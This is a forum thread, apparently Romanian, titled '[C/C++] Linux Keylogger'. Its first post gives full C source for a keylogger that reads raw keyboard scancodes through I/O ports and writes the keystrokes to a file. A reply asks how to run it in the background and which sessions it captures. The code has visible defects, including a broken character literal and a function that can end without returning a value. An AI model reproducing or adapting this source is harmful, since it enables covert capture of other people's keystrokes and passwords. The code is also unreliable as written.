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io.kent

[C/C++] Linux Keylogger

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Posted
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/io.h>
#define KB_IO 0X60
#define KB_ST 0x64
#define SLEEP 50
char key(int code) {
int i;
int ascii_code[] = {
11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30,
31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50,
51, 52, 53, 57};
int ascii_char[] = {
'0', ''', 'ì', 'b', 't', 'q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p', 'è',
'+', 'n', 'a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'ò', 'à', '<', 'ù', 'z',
'x', 'c', 'v', 'b', 'n', 'm', ',', '.', '-', ' '};
for (i = 0; i < 42; i++) {
if (code == ascii_code[i])
return ascii_char[i];
}
}
int main(int argc, char **argv) {
int code = 0;
int last = 0;
FILE *file;
if (!argv[1]) {
fprintf(stderr, "%s <file>n", argv[0]);
exit(1);
}
if (!(file = fopen(argv[1], "w"))) {
fprintf(stderr, "Impossibile scrivere sul file %sn", argv[1]);
exit(2);
}
if (ioperm(KB_IO, 1, 1) == -1 || ioperm(KB_ST, 1, 1) == -1) {
fprintf(stderr, "Impossibile accedere alla porta di I/O della tastieran");
exit(3);
}
while (1) {
code = 0;
if (inb(KB_ST) == 20)
code = inb(KB_IO);
if (code) {
if (code != last) {
last = code;
if (key(code)) {
fprintf(file, "%c", key(code));
fflush(file);
}
}
}
usleep(SLEEP);
}
return 0;
}
</pre>

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Posted (edited)

Si cum il rulezi? cu "./binar &" sa-l bagi in bg? Logheaza doar cheile din sesiunea unde e rulat?

if (code != last) - nu o sa logheze chei consecutive?

Edited by alien

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